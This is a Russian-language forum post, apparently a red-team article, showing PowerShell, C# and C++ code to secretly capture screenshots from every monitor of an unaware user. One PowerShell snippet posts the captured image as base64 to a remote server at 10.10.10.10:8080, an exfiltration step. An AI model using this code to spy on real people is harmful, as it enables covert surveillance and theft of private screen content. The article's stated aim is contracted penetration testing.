Спайварь на C#. Как устроены средства слежения за пользователями

rootty

Active member
Регистрация
1 Фев 2025
Сообщения
25
Реакции
2
При редтиминге иногда приходится изучать обстановку не только внутри сети, но и за ее пределами. В частности, по ту сторону монитора. Работает ли кто‑то за устройством в текущий момент, какое окно открыто, что говорят в микрофон. Давай посмотрим, как можно, используя легитимные возможности системы, следить за ничего не подозревающим пользователем.


Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.


Большая часть того, что мы реализуем в этой статье, есть только в Metasploit и в Cobalt Strike. Первый написан на Ruby, а исходники второго закрыты. Других реализаций я с ходу и не назову, а ведь хочется иметь короткие и аккуратные примеры кода, которые можно без проблем добавить в собственную программу.
Впрочем, у меня получилось самостоятельно все реализовать на C#, а некоторые программы — на C++ и PowerShell.

Скриншот рабочего стола​

Первоочередная задача — скриншоты. Нужно увидеть, что открыто у текущего пользователя, в каких программах он работает и чем сейчас занимается.
Казалось бы, такая тривиальная задача дается в восьмом классе в качестве летней домашки на паскале, но не тут‑то было. Авторы множества реализаций забывают об одной интересной детали. Догадался, о какой?
Пока думаешь, покажу тебе пример кода на PowerShell. Даже с его помощью можно сделать скриншот текущего рабочего стола.
Bash:
# Отправляем нажатие клавиши Print Screen, которое сделает скриншот всех экранов
[Windows.Forms.SendKeys]::SendWait("{PRTSC}")
# Даем системе время, чтобы обработать нажатие клавиши и получить изображение в буфер обмена
Start-Sleep -Milliseconds 250
# Получаем изображение из буфера обмена
$img = [Windows.Forms.Clipboard]::GetImage()
# Сохраняем изображение в файл
$filePath = "C:\1.png"
$img.Save($filePath, [System.Drawing.Imaging.ImageFormat]::Png)
# Выводим информацию о местоположении сохраненного файла
Write-Host "Скриншот сохранён в файле: $filePath"
Вы должны быть зарегистрированы для просмотра вложений

Скрипт работает предельно просто — имитирует нажатие кнопки Print Screen.
В интернете можно даже встретить вариант с автоматической отправкой картинки на веб‑сервер.
Bash:
[Windows.Forms.Sendkeys]::SendWait("{PrtSc}")
Start-Sleep -Milliseconds 250
$x = New-Object System.IO.MemoryStream
[Windows.Forms.Clipboard]::GetImage().Save($x, [System.Drawing.Imaging.ImageFormat]::Png)
Invoke-WebRequest -Uri "http://10.10.10.10:8080/upload?test.png" -Method POST -Body ([Convert]::ToBase64String($x.ToArray()))
Вы должны быть зарегистрированы для просмотра вложений

Ну как, догадался, что не учел автор? У пользователя может быть несколько мониторов! Например, как у меня.
Что, если хитрый сисадмин утащил к себе несколько мониторов и пользуется ими в свое удовольствие? Мы из‑за этого рискуем упустить важную информацию из виду!
Вы должны быть зарегистрированы для просмотра вложений

Это накладывает некоторые ограничения на выбор наших инструментов. Если просто слать нажатие Print Screen через Windows.Forms, то получаем изображение с текущего монитора, что нас не устраивает.
Получить картинку со всех экранов можно, если обратиться к свойству . Оно лежит в System.Windows.Forms.Screen. На выходе я хочу получить один большой скриншот, содержащий изображения со всех мониторов, поэтому не обойтись без System.Drawing.
Мы создадим растровое изображение (bitmap), а затем добавим на него скриншот с каждого экрана. Получить изображение с экрана можно через метод .
C#:
using System;
using System.Drawing;
using System.Drawing.Imaging;
using System.Windows.Forms;
class Program
{
    static void Main()
    {
        // Определяем общую область для всех экранов
        Rectangle totalSize = Rectangle.Empty;
        foreach (Screen screen in Screen.AllScreens)
        {
            totalSize = Rectangle.Union(totalSize, screen.Bounds);
        }
        // Создаем новый битмап с размерами общей области
        using (Bitmap bmpScreenCapture = new Bitmap(totalSize.Width, totalSize.Height))
        {
            // Создаем графический объект для битмапа
            using (Graphics g = Graphics.FromImage(bmpScreenCapture))
            {
                // Копируем каждый экран по отдельности
                foreach (Screen screen in Screen.AllScreens)
                {
                    g.CopyFromScreen(screen.Bounds.X,
                                     screen.Bounds.Y,
                                     screen.Bounds.X - totalSize.X,
                                     screen.Bounds.Y - totalSize.Y,
                                     screen.Bounds.Size,
                                     CopyPixelOperation.SourceCopy);
                }
            }
            // Сохраняем битмап в файл
            string filename = "screenshot_all.png";
            bmpScreenCapture.Save(filename, ImageFormat.Png);
            Console.WriteLine($"Скриншот всех экранов сохранен как {filename}");
        }
    }
}
Вы должны быть зарегистрированы для просмотра вложений

Обрати внимание, что благодаря методу Rectangle.Union() изображения расположены на холсте в соответствии с настройками мониторов. У меня в системе мониторы расположены, как на скриншоте ниже.
Вы должны быть зарегистрированы для просмотра вложений

Если передвинем один экран, то изменится и расположение изображений на снимке.
Вы должны быть зарегистрированы для просмотра вложений

Вы должны быть зарегистрированы для просмотра вложений

Ту же логику можно реализовать и на PowerShell.
Bash:
$ScriptBlock = {
    Add-Type -AssemblyName System.Drawing
    Add-Type -AssemblyName System.Windows.Forms
    $bounds = [System.Drawing.Rectangle]::Empty
    foreach ($screen in [System.Windows.Forms.Screen]::AllScreens) {
        $bounds = [System.Drawing.Rectangle]::Union($bounds, $screen.Bounds)
    }
    $bmp = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
    $graphics = [System.Drawing.Graphics]::FromImage($bmp)
    $graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)
    $bmp.Save('C:\1.png', [System.Drawing.Imaging.ImageFormat]::Png)
    $graphics.Dispose()
    $bmp.Dispose()
}
$Runspace = [runspacefactory]::CreateRunspace()
$Runspace.Open()
$PowerShell = [powershell]::Create().AddScript($ScriptBlock)
$PowerShell.Runspace = $Runspace
$PowerShell.Invoke()
$Runspace.Close()
Write-Host "Screenshot saved to C:\1.png"
Этот код, используя описанный выше алгоритм, создаст снимок экрана в C:\1.png.
Вы должны быть зарегистрированы для просмотра вложений

На C++ все будет чуточку сложнее. Так как функция большая, я сначала дам полный ее код, а затем разберем его по шагам. Итак, функцию я назвал SaveBitmap(). Она принимает лишь один параметр — путь, по которому нужно сохранить изображение.
C++:
#include <windows.h>
BOOL WINAPI SaveBitmap(WCHAR* wPath)
{
    BITMAPFILEHEADER bfHeader;
    BITMAPINFOHEADER biHeader;
    BITMAPINFO bInfo;
    HGDIOBJ hTempBitmap;
    HBITMAP hBitmap;
    BITMAP bAllDesktops;
    HDC hDC, hMemDC;
    LONG lWidth, lHeight;
    BYTE* bBits = NULL;
    HANDLE hHeap = GetProcessHeap();
    DWORD cbBits, dwWritten = 0;
    HANDLE hFile;
    INT x = GetSystemMetrics(SM_XVIRTUALSCREEN);
    INT y = GetSystemMetrics(SM_YVIRTUALSCREEN);
    ZeroMemory(&bfHeader, sizeof(BITMAPFILEHEADER));
    ZeroMemory(&biHeader, sizeof(BITMAPINFOHEADER));
    ZeroMemory(&bInfo, sizeof(BITMAPINFO));
    ZeroMemory(&bAllDesktops, sizeof(BITMAP));
    hDC = GetDC(NULL);
    hTempBitmap = GetCurrentObject(hDC, OBJ_BITMAP);
    GetObjectW(hTempBitmap, sizeof(BITMAP), &bAllDesktops);
    lWidth = bAllDesktops.bmWidth;
    lHeight = bAllDesktops.bmHeight;
    DeleteObject(hTempBitmap);
    bfHeader.bfType = (WORD)('B' | ('M' << 8));
    bfHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
    biHeader.biSize = sizeof(BITMAPINFOHEADER);
    biHeader.biBitCount = 24;
    biHeader.biCompression = BI_RGB;
    biHeader.biPlanes = 1;
    biHeader.biWidth = lWidth;
    biHeader.biHeight = lHeight;
    bInfo.bmiHeader = biHeader;
    cbBits = (((24 * lWidth + 31) & ~31) / 8) * lHeight;
    hMemDC = CreateCompatibleDC(hDC);
    hBitmap = CreateDIBSection(hDC, &bInfo, DIB_RGB_COLORS, (VOID**)&bBits, NULL, 0);
    SelectObject(hMemDC, hBitmap);
    BitBlt(hMemDC, 0, 0, lWidth, lHeight, hDC, x, y, SRCCOPY);
    hFile = CreateFileW(wPath, GENERIC_WRITE | GENERIC_READ, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (INVALID_HANDLE_VALUE == hFile)
    {
        DeleteDC(hMemDC);
        ReleaseDC(NULL, hDC);
        DeleteObject(hBitmap);
        return FALSE;
    }
    WriteFile(hFile, &bfHeader, sizeof(BITMAPFILEHEADER), &dwWritten, NULL);
    WriteFile(hFile, &biHeader, sizeof(BITMAPINFOHEADER), &dwWritten, NULL);
    WriteFile(hFile, bBits, cbBits, &dwWritten, NULL);
    FlushFileBuffers(hFile);
    CloseHandle(hFile);
    DeleteDC(hMemDC);
    ReleaseDC(NULL, hDC);
    DeleteObject(hBitmap);
    return TRUE;
}
int main() {
    LPWSTR path = (LPWSTR)L"C:\\1.jpg";
    SaveBitmap(path);
    return 0;
}
В начале идет объявление необходимых структур и переменных, в частности, инстанцируем экземпляры и , они необходимы для создания растрового изображения.
C++:
BITMAPFILEHEADER bfHeader;
BITMAPINFOHEADER biHeader;
BITMAPINFO bInfo;
HGDIOBJ hTempBitmap;
HBITMAP hBitmap;
BITMAP bAllDesktops;
HDC hDC, hMemDC;
LONG lWidth, lHeight;
BYTE* bBits = NULL;
HANDLE hHeap = GetProcessHeap();
DWORD cbBits, dwWritten = 0;
HANDLE hFile;
Следующим шагом с помощью получаем размеры виртуального экрана. Виртуальный экран — прямоугольник, в который можно вписать изображения со всех мониторов.
C++:
INT x = GetSystemMetrics(SM_XVIRTUALSCREEN);
INT y = GetSystemMetrics(SM_YVIRTUALSCREEN);
Например, если у нас два монитора: 1920 на 1080 и 3440 на 1440, то по вертикали у этого изображения должно быть 1080 + 1440 пикселей, а по горизонтали — 3440.
Вы должны быть зарегистрированы для просмотра вложений

Тем не менее очень многое зависит от расположения мониторов. Если они расположены по‑другому, то по вертикали может быть 1440, а по горизонтали 3440 + 1080 пикселей.
Чтобы получить контекст устройства (текущего виртуального экрана), используем . Затем извлекаем информацию об этом битовом блоке (HGDIOBJ) через и .
C++:
hDC = GetDC(NULL);
hTempBitmap = GetCurrentObject(hDC, OBJ_BITMAP);
GetObjectW(hTempBitmap, sizeof(BITMAP), &bAllDesktops);
Следующим шагом остается правильно подготовить структуру BITMAPFILEHEADER, она нужна для всех растровых файлов. Параллельно не забываем об очистке ресурсов.
C++:
lWidth = bAllDesktops.bmWidth;
lHeight = bAllDesktops.bmHeight;
DeleteObject(hTempBitmap);
bfHeader.bfType = (WORD)('B' | ('M' << 8));
bfHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
biHeader.biSize = sizeof(BITMAPINFOHEADER);
biHeader.biBitCount = 24;
biHeader.biCompression = BI_RGB;
biHeader.biPlanes = 1;
biHeader.biWidth = lWidth;
biHeader.biHeight = lHeight;
bInfo.bmiHeader = biHeader;
cbBits = (((24 * lWidth + 31) & ~31) / 8) * lHeight;
Затем наконец‑то делаем «снимок». Через создаем так называемый контекст памяти. В него будет помещен наш скриншот. Следом создаем блок секции с информацией, определенной в BITMAPINFO, через . И (о чудо!) помещаем созданную секцию в контекст памяти, а затем копируем в него изображение экрана через .
C++:
hMemDC = CreateCompatibleDC(hDC);
hBitmap = CreateDIBSection(hDC, &bInfo, DIB_RGB_COLORS, (VOID**)&bBits, NULL, 0);
SelectObject(hMemDC, hBitmap);
BitBlt(hMemDC, 0, 0, lWidth, lHeight, hDC, x, y, SRCCOPY);
К слову, именно функция BitBlt() используется во всякой вирусняге вроде HRDP и HVNC. Но описание принципа работы таких инструментов тянет далеко не на одну статью (извиняюсь за веселый каламбур).
Остается лишь считать данные и записать их в наш выходной файл.
C++:
hFile = CreateFileW(wPath, GENERIC_WRITE | GENERIC_READ, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (INVALID_HANDLE_VALUE == hFile)
    {
        DeleteDC(hMemDC);
        ReleaseDC(NULL, hDC);
        DeleteObject(hBitmap);
        return FALSE;
    }
    WriteFile(hFile, &bfHeader, sizeof(BITMAPFILEHEADER), &dwWritten, NULL);
    WriteFile(hFile, &biHeader, sizeof(BITMAPINFOHEADER), &dwWritten, NULL);
    WriteFile(hFile, bBits, cbBits, &dwWritten, NULL);
    FlushFileBuffers(hFile);
    CloseHandle(hFile);
    DeleteDC(hMemDC);
    ReleaseDC(NULL, hDC);
    DeleteObject(hBitmap);
    return TRUE;
}

Выводы​

Не зря любая книжка по WinAPI для начинающих первым делом рассказывает о графике! И не зря в вузе столько времени показывали C# и механизм его работы. Совместив разрозненные знания, можно писать сложные и необычные штуки, в том числе полноценную спайварь. Главное — помни, что делаем мы это строго в целях обучения, а применять если и будем, то в рамках контракта с клиентом. Без этого распространение подобных программ может привести к печальным последствиям, а не только к лулзам.
 
Сверху